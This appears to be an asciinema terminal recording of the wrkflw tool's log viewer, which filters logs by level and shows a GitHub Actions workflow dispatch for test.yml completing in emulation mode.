[26.073423, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.131021, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.153069, "o", "\u001b[9;14H\u001b[38;5;6mFilter: INFO\u001b[9;29H\u001b[38;5;5mMatches: 1/6\u001b[11;10H\u001b[38;5;3m6\u001b[11;12H6) \u001b[39m─\u001b[13;22H\u001b[48;5;8mℹ️\u001b[13;24H Triggering workflow: \u001b[13;47Hest.yml\u001b[14;14H\u001b[38;5;7m\u001b[49mINFO \u001b[14;22H\u001b[39mℹ️\u001b[14;24H GITHUB_TOKEN is set: gi\u001b[14;49Hhu\u001b[14;52H \u001b[15;14H\u001b[38;5;5mTRIG \u001b[15;22H\u001b[39mℹ️\u001b[15;24H Triggering\u001b[15;36Hw\u001b[15;38Hrkflow with URL: https://api.github.com/repos/bahdotsh/wrkflw/actions/workflows/test.yml/dispatches\u001b[15;138Hand\u001b[15;142Hpayload:\u001b[15;151H{\"ref\":\"main\"}\u001b[16;9H30\u001b[16;14H\u001b[38;5;7mINFO \u001b[16;22H\u001b[39mℹ️\u001b[16;25HCurl command succeeded: \u001b[16;50H \u001b[16;54H \u001b[16;59H \u001b[16;67H \u001b[16;74H \u001b[16;78H \u001b[16;82H \u001b[16;85H \u001b[16;94H \u001b[17;9H30\u001b[17;14H\u001b[38;5;2mSUCCESS\u001b[17;22H\u001b[39mℹ️\u001b[17;25H[19:10:30] Workflow 't\u001b[17;48Hst.yml'\u001b[17;56Hcompleted\u001b[17;66Hsuccessfully!\u001b[18;14H\u001b[38;5;7mINFO \u001b[18;25H\u001b[39mAll wo\u001b[18;32Hkflo\u001b[18;37Hs completed execution\u001b[19;3H \u001b[19;14H \u001b[19;22H \u001b[19;25H \u001b[19;38H \u001b[19;41H \u001b[19;46H \u001b[20;"]
|
||||
[26.153109, "o", "3H \u001b[20;14H \u001b[20;22H \u001b[20;25H \u001b[20;36H \u001b[20;45H \u001b[20;50H \u001b[20;55H \u001b[20;138H \u001b[20;142H \u001b[20;151H \u001b[21;3H \u001b[21;14H \u001b[21;22H \u001b[21;25H \u001b[21;30H \u001b[21;38H \u001b[22;3H \u001b[22;14H \u001b[22;22H \u001b[22;25H \u001b[22;36H \u001b[22;45H \u001b[22;56H \u001b[22;66H \u001b[23;3H \u001b[23;14H \u001b[23;22H \u001b[23;25H \u001b[23;29H \u001b[23;39H \u001b[23;49H \u001b[60;45H\u001b[38;5;15m\u001b[48;5;8m6\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.20999, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.267103, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.324441, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.381841, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.439235, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.496638, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.55406, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.611411, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.668802, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.726136, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.783419, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.840706, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.898043, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.955406, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.012637, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.06561, "o", "\u001b[9;14H\u001b[38;5;3mFilter: WARNING\u001b[39m \u001b[38;5;5mMatches: 1/1\u001b[11;10H\u001b[38;5;3m5\u001b[11;12H1\u001b[13;9H\u001b[39m\u001b[48;5;8m26\u001b[13;14H\u001b[38;5;3mWARN \u001b[13;22H\u001b[39m⚠️\u001b[13;25HDocker \u001b[13;33Hs not availabl\u001b[13;48H. Using\u001b[13;56Hemulation\u001b[13;66Hmode\u001b[13;71Hinstead.\u001b[14;3H\u001b[49m \u001b[14;14H \u001b[14;22H \u001b[14;25H \u001b[14;38H \u001b[14;41H \u001b[14;46H \u001b[15;3H \u001b[15;14H \u001b[15;22H \u001b[15;25H \u001b[15;36H \u001b[15;45H \u001b[15;50H \u001b[15;55H \u001b[15;138H \u001b[15;142H \u001b[15;151H \u001b[16;3H \u001b[16;14H \u001b[16;22H \u001b[16;25H \u001b[16;30H \u001b[16;38H \u001b[17;3H \u001b[17;14H \u001b[17;22H \u001b[17;25H \u001b[17;36H \u001b[17;45H \u001b[17;56H \u001b[17;66H \u001b[18;3H \u001b[18;14H \u001b[18;22H \u001b[18;25H \u001b[18;29H \u001b[18;39H \u001b[18;49H \u001b[60;45H\u001b[38;5;15m\u001b[48;5;8m5\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.122476, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.179587, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.236737, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.293842, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.350897, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.407897, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.464966, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.522022, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.579611, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.636973, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.693939, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.751181, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.808144, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.8653, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.922395, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[27.980132, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.037381, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.05643, "o", "\u001b[9;14H\u001b[38;5;1mFilter: ERROR\u001b[39m \u001b[9;32H \u001b[11;10H\u001b[38;5;3m0\u001b[11;12H0\u001b[13;3H\u001b[39m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.112853, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.169854, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.226825, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.283872, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.341071, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.398046, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.45495, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.512261, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.569213, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.626239, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.683205, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.740108, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.797247, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.854396, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.879303, "o", "\u001b[9;14H\u001b[38;5;2mFilter: SUCCESS\u001b[9;32H\u001b[38;5;5mMatches: 1/2\u001b[11;10H\u001b[38;5;3m2\u001b[11;12H2\u001b[13;3H\u001b[39m\u001b[48;5;8m19:10:30 \u001b[38;5;2mSUCCESS\u001b[39m Workflow 'test.yml' completed successfully! \u001b[14;3H\u001b[49m19:10:30\u001b[14;14H\u001b[38;5;2mSUCCESS\u001b[14;22H\u001b[39mℹ️\u001b[14;25H[19:10:30]\u001b[14;36HWorkflow\u001b[14;45H'test.yml'\u001b[14;56Hcompleted\u001b[14;66Hsuccessfully!\u001b[60;45H\u001b[38;5;15m\u001b[48;5;8m2\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.936024, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[28.992234, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.04929, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.106328, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.163452, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.220618, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.277648, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.334895, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.391935, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.449088, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.50617, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.563274, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.620415, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.677534, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.734592, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.791715, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.848877, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.906001, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[29.96356, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.020864, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.078043, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.12104, "o", "\u001b[9;14H\u001b[38;5;5mFilter: TRIGGER\u001b[9;43H3\u001b[11;10H\u001b[38;5;3m1\u001b[11;12H3\u001b[13;14H\u001b[38;5;5m\u001b[48;5;8mTRIG \u001b[13;22H\u001b[39mTriggering workflow: test.yml\u001b[13;52H \u001b[14;14H\u001b[38;5;5m\u001b[49mTRIG \u001b[14;25H\u001b[39mTriggering\u001b[14;36Hw\u001b[14;44H: \u001b[14;54H \u001b[14;56H \u001b[14;66H \u001b[15;3H19:10:30\u001b[15;14H\u001b[38;5;5mTRIG \u001b[15;22H\u001b[39mℹ️\u001b[15;25HTriggering\u001b[15;36Hworkflow\u001b[15;45Hwith\u001b[15;50HURL:\u001b[15;55Hhttps://api.github.com/repos/bahdotsh/wrkflw/actions/workflows/test.yml/dispatches\u001b[15;138Hand\u001b[15;142Hpayload:\u001b[15;151H{\"ref\":\"main\"}\u001b[60;45H\u001b[38;5;15m\u001b[48;5;8m1\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.178134, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.234833, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.292085, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.349297, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.406524, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.463678, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.521196, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.577958, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.635617, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.692623, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.749858, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.807013, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.864252, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.921367, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[30.978448, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.035533, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.092625, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.149937, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.173343, "o", "\u001b[9;14H\u001b[38;5;7mFilter: ALL\u001b[39m \u001b[38;5;5mMatches: 1/11\u001b[39m \u001b[11;12H\u001b[38;5;3m11) \u001b[14;14H\u001b[38;5;2mSUCCESS\u001b[14;22H\u001b[39mWorkflow 'test.yml' compl\u001b[14;48Hted successfully!\u001b[15;14H\u001b[38;5;7mINFO \u001b[15;22H\u001b[39mAll workflows\u001b[15;36Hc\u001b[15;38Hmpleted execution \u001b[15;138H \u001b[15;142H \u001b[15;151H \u001b[16;3H19:10:26\u001b[16;14H\u001b[38;5;6mINFO \u001b[16;22H\u001b[39m🔍\u001b[16;25HDocker\u001b[16;32Hdaemon\u001b[16;39His\u001b[16;42Hrunning\u001b[16;50Hbut\u001b[16;54Hping\u001b[16;59Hfailed.\u001b[16;67HDocker\u001b[16;74Hmay\u001b[16;78Hnot\u001b[16;82Hbe\u001b[16;85Hproperly\u001b[16;94Hconfigured.\u001b[17;3H19:10:26\u001b[17;14H\u001b[38;5;3mWARN \u001b[17;22H\u001b[39m⚠️\u001b[17;25HDocker\u001b[17;32His\u001b[17;35Hnot\u001b[17;39Havailable.\u001b[17;50HUsing\u001b[17;56Hemulation\u001b[17;66Hmode\u001b[17;71Hinstead.\u001b[18;3H19:10:30\u001b[18;14H\u001b[38;5;5mTRIG \u001b[18;22H\u001b[39mℹ️\u001b[18;25HTriggering\u001b[18;36Hworkflow:\u001b[18;46Htest.yml\u001b[19;3H19:10:30\u001b[19;14H\u001b[38;5;7mINFO \u001b[19;22H\u001b[39mℹ️\u001b[19;25HGITHUB_TOKEN\u001b[19;38His\u001b[19;41Hset:\u001b[19;46Hgithu\u001b[20;3H19:10:3"]
|
||||
[31.173399, "o", "0\u001b[20;14H\u001b[38;5;5mTRIG \u001b[20;22H\u001b[39mℹ️\u001b[20;25HTriggering\u001b[20;36Hworkflow\u001b[20;45Hwith\u001b[20;50HURL:\u001b[20;55Hhttps://api.github.com/repos/bahdotsh/wrkflw/actions/workflows/test.yml/dispatches\u001b[20;138Hand\u001b[20;142Hpayload:\u001b[20;151H{\"ref\":\"main\"}\u001b[21;3H19:10:30\u001b[21;14H\u001b[38;5;7mINFO \u001b[21;22H\u001b[39mℹ️\u001b[21;25HCurl\u001b[21;30Hcommand\u001b[21;38Hsucceeded:\u001b[22;3H19:10:30\u001b[22;14H\u001b[38;5;2mSUCCESS\u001b[22;22H\u001b[39mℹ️\u001b[22;25H[19:10:30]\u001b[22;36HWorkflow\u001b[22;45H'test.yml'\u001b[22;56Hcompleted\u001b[22;66Hsuccessfully!\u001b[23;3H19:10:30\u001b[23;14H\u001b[38;5;7mINFO \u001b[23;22H\u001b[39mℹ️\u001b[23;25HAll\u001b[23;29Hworkflows\u001b[23;39Hcompleted\u001b[23;49Hexecution\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.230484, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.287766, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.345364, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.402936, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.460566, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.518104, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.577347, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.633628, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.689105, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.746734, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.804406, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.862111, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.919841, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[31.977497, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.035063, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.092652, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.150323, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.207934, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.265613, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.323239, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.380826, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.438458, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.496085, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.553774, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.611423, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.668932, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.726407, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.784042, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.841704, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.899319, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[32.957044, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.014746, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.072351, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.12993, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.187553, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.245052, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.302601, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.360479, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.41786, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.475415, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.532722, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.590297, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.647835, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.70543, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.762646, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.820222, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.877859, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.935542, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[33.99323, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[34.015288, "o", "\u001b[?1049l\u001b[?1006l\u001b[?1015l\u001b[?1003l\u001b[?1002l\u001b[?1000l\u001b[?25h"]
|
||||
[34.017427, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[34.018746, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[34.021585, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[34.023787, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[34.023886, "o", "\u001b[?1h\u001b="]
|
||||
[34.0239, "o", "\u001b[?2004h"]
|
||||
[35.525507, "o", "\u001b[?2004l\r\r\n"]
|
||||
BIN
trigger.gif
BIN
trigger.gif
Binary file not shown.
|
Before Width: | Height: | Size: 694 KiB |
BIN
wrkflw.gif
BIN
wrkflw.gif
Binary file not shown.
|
Before Width: | Height: | Size: 6.0 MiB |
Reference in New Issue
Block a user